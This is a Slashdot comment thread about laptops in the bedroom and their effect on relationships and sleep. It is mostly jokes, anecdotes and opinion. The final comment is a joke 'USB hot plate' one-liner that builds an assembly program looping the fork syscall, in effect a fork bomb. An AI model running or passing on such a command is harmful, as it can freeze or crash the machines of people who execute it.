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Using Your Laptop In Bed
ryanaip writes "The New York Times has an article looking at the social implications of technology in the home. Specifically, the problems a spouse can face when their loved one is working in bed." From the article: "As electronic devices get smaller, people tote their technology around the house more than ever. And as the number of home wireless networks also grows, laptops — along with Treos, BlackBerries and other messaging devices — are migrating into the bedroom and onto the bed. The marital bed has survived his-and-her book lights and the sushi-laden bed tray. Can it also survive computers that tether their owners to the office or make the bed the workplace itself?"
I can't come to the Slashdot right now, because I'm on the phone with my girlfriend. Please leave a comment after the beep, and I'll get back to you right away.
What's this about technology interfering in relationships? It's the only reason I have one right now cause she lives 3 hours away!
Saskboy's blog is good. 9 out of 10 dentists agree.
Step 1: Give partner a reason to put the laptop down and pay attention to you
Step 2: ???
Step 3: Profit
This is not rocket science, people.
Why the hell is this being posted on Slashdot? It's not like having spouses angry at us for using the PC in bed is ever gonna affect us. Either we won't get a spouse, or she'll be too busy surfing the 'net on her own laptop to care.
Laptop as marital aide.
That's all I ever use it for. Sleeping. Oh, and falling asleep. And I guess waking up. And, you know, with the wife. I use my bed for bed-type related activities. No TV, no computer, no phone. Those aren't bed related activities.
Specifically, the problems a spouse can face when their loved one is working in bed.
I don't know if you'd call looking at pr0n "working". Although it's certainly a good excuse if you've got one of those fancy laptop privacy screens with the limited viewing angle... (you know, for airplane travel and such).
The theory of relativity doesn't work right in Arkansas.
It just sounds so dirty. Besides, I have to wonder, how could you....never mind.
I've always wanted to feel what it was like to be a prostitute!
My wife and I are both computer professionals. We have iPods, laptops, etc but we agreed that electronic gadgets (including TVs) would NOT be allowed in our bedroom. Our bedroom is for sleeping, sex, and private time together. Work stays at work; home is home. Don't let the gadgets run your life or ruin your relationship.
If "disco" means "I learn" in Latin, does "discothèque" mean "I learn technology"?
Sleep Hygienests will argue that doing anything in the bed, outside of sexual activity or sleeping, is harmful to your sleep habits. It will "pollute" (for lack of a better word) your mind such that you are expecting to do something other than sleep in the bed, which will cause your mind to be stimulated each time you enter the bed in the same manner it was stimulated when you were doing whatever you were doing, be it reading, watching TV, or surfing the Internet.
I have my main computer in the family room. My wife typically hits bed at 10-11pm, me, about 12-2am. I am using my computer until then. Since I am not in the bed, at least she can sleep and I will not be bothered to "put that computer away". ;) I try that about once a month and typically get told it is too late and to go back to my computer if I want to some tits and ass. We have modified our typical sex time to a few times a week between 7-8pm during the week (just after dinner but before we go our separate ways) or any convenient time during the weekend depending on where the kids are.
Okay, so our time is spent apart from 8pm on, is that a problem? She likes to watch TV and use her computer as well, I like to use mine. We happen to be in separate parts of the house. I can tell you that she does not like when i hit bed much later then her and try to wake her up so we can spend a few really close minutes together
For reference, our 17th anniversary was last week, we got married just after high school.
Pretty neat, eh? Just imagine projecting a keyboard and screen on your lover's[*] back. You could read Slashdot while drilling for oil! Just make sure you're not using a Sony battery.
[*] No, I didn't say girlfriend. After all, this is Slashdot.
Tubal-Cain smokes the white owl.
I've got my wireless AP in the basement and I get Excellent coverage all over the house, but the second i move it over the bed the water blocks the signal completely.
It's probably better that way, but i'm just amazed how a relatively small amount of water can completely destroy the signal. I haven't tested it in the bath yet - how good is Dell Completecare?
Where was I when people were serving cold rice dressed with vinegar and garnished with raw seafood on a bedside tray?
If you can read this sig, you're too close.
This is just stupid. Really.
Yes, of course it can survive. Most reasonable people in relationships realize that there is a need to separate work from personal.
Therefore, they'll most likely have a separate work area, which could even be part of the living room. Hell, if you've got kids, you probably already have an area of the family room/den set aside for the family computer.
Add a little Bliss (http://www.gamesforloving.com/), and the laptop becomes a welcome guest in the bed.
If you love {your computer | the internet | insert favorite toy/hobby here} more than your spouse, you have a problem.
Solving that problem is left as an exercise for the reader. Answers may vary.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
Is that people are so busy anymore as to need to take a laptop to bed, to vacation, or such. Not to sound like a luddite, but really. Why do people not take a good book to bed, or pay attention to their partner? It's not like one is getting paid to work through bedtime or vacation.
Windows has detected an undetectable error.
Selfishness has become par for the course in American culture. You can have it all! It's all about YOU!!!
American culture has become a cesspool of me, me, me attitudes. And you know what I see, working in Northern Virginia around a lot of very wealth middle age people who are like this? Nothing but unhappiness! The happiest people I know are the ones who aren't that well off, but have rejected modern values for sacrifice and committment in their families and marriages.
We will all die someday. When you are on your deathbed, are you going to be happy that you had a great career that forced you to stay away from your wife and kids? How about you, ladies. Are y'all going to look back fondly on the years you had kids, but even though your husbands could support your family, you worked anyway because "feelin fullfilled" meant more to you than being close to your kids as you rasied them? Then you wonder why they don't know their parents and act lost or are embittered to parents whose priorities were all fucked up.
I have news for you, modern America. The reason you are fucked up and rotting from the inside out is that you have no soul. It is not all about you in the here and now. When you get married, you are responsible to uplift your spouse and take care of them, even if you don't "feel love" toward them right now. When you have kids, they are your priority, not your job and "need to feel fullfilled." That means that you don't work more than you need to to provide and be secure in the future. Drive the damn Scion tC instead of the Lexus if you have to.
She's called sxcgrrl182, I just paid off her car loan a month ago and she's been too busy driving it she isnt on IRC anymore, I hope she comes online again soon
Slashdot decides to make fun of slashdotters...
A Good Troll is better than a Bad Human.
That's why I work and sleep on the couch in the living room.
All that heat on your crotch CAN'T be good for the swimmers.
Saving the World: One Drink at a Time
My laptop is my girlfriend
As devices get smaller and wirefree, it's an inevitability. Today it's acceptable to get magazines and books to bed, tomorrow it will be electronic devices.
2 Laptops, cross-over cable, NIC's and a game of network PornoDoom. There's a night in.
Then sex.
Task Mangler
Using this MacBookPro in bed is the only way I can warm up that cold hearted bitch!
I can just picture it next. The GreenHaven WIFI Equipped Cemetery and Mausoleum will be equipped with WIFE and will offer laptop equipped coffins and urns for that busy executive or hacker! You won't miss the net just because you passed away.
Cleara
No gadgets in the bed room? BORING! We have pleanty of battery operated "gadgets" in our bed room. And we both enjoy them quite a bit. >:)
Modded informative? Wow, more like too-much-informative.
"Can it also survive computers that tether their owners to the office or make the bed the workplace itself?" It depends on what she looks like...
Why doesn't anything interesting happen when I have mod points?
My physician told me that doing work in bed, eating in bed, watching TV in bed, etc is very bad for sleep patterns. Not only does it start to "teach" your body that the bed is not always used for sleeping, but it would eventually start to convince your spouse/significant other of that same thing. Just my experience with what not to do in bed.
the new spontaneously combustable line of laptops from dell give a whole new meaning to 'smoking in bed'.
I use the laptop a lot in bed, and I consider (for myself at least), problems with the neck/back/posture to be a bigger problem. (Of course, I am divorced, too; d'oh!)
Anyone have tips or recommendations for helping one's back/neck? Do those bed-chair thingies work (the cheap ones, or only the really expensive ones?) I saw one contraption that puts the laptop quite a bit above you angled down; it looked rather awkward.
Love many, trust a few, do harm to none.
Ahhh. Now I know what those job ads mean when they ask for embedded programmers.
If you're working in bed remember not to place the laptop on your family jewels - it's bad for your sperm count!
I'm not saying that it can't work out for some (even many) people. Especially if there is some sort of support network there in the form of family, friends, etc. However, lots of people don't have that support network in place, many husbands aren't so flexible as to make sure their wives have "time off", and many people just aren't wired to find keeping a home satisfying. If you took a women at random from the population, the chances are good that at least one of these important elements is missing in her life. Thus, in common circumstances, a women is usually better-off working than staying at home.
Regarding the contorted relationship, I disgree. The wife working outside the home changes the dynamics of the marriage substantially. The thing about homemaking is that its an unpaid profession, and we, especially Americans, are programmed to associate worth with salary. As a result, marital tensions arise from ambiguity about the contribution of each person in the couple to the family unit. This is complicated by the fact that most men do not really understand what's involved in keeping a home, and don't do the calculation of the actual equivalent monetary value of the services provided by the housewife. How many times have you heard a man complain that his wife is wasting "his" money. This is precisely that phenomenon at work. When the women works, the value of her contribution is made explicit, and an avenue for potential conflict is shut down. Being outside the home also changes the perceptions of women. Housewives often have a distorted view of what men consider "the real world" --- ie: the workplace in which the man spends most of his day. Working gives women some perspective on how the man lives, which reduces the potential for conflict resulting from differences in perspective.
A deep unwavering belief is a sure sign you're missing something...
Ooh, I know this.
USB hot plate!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;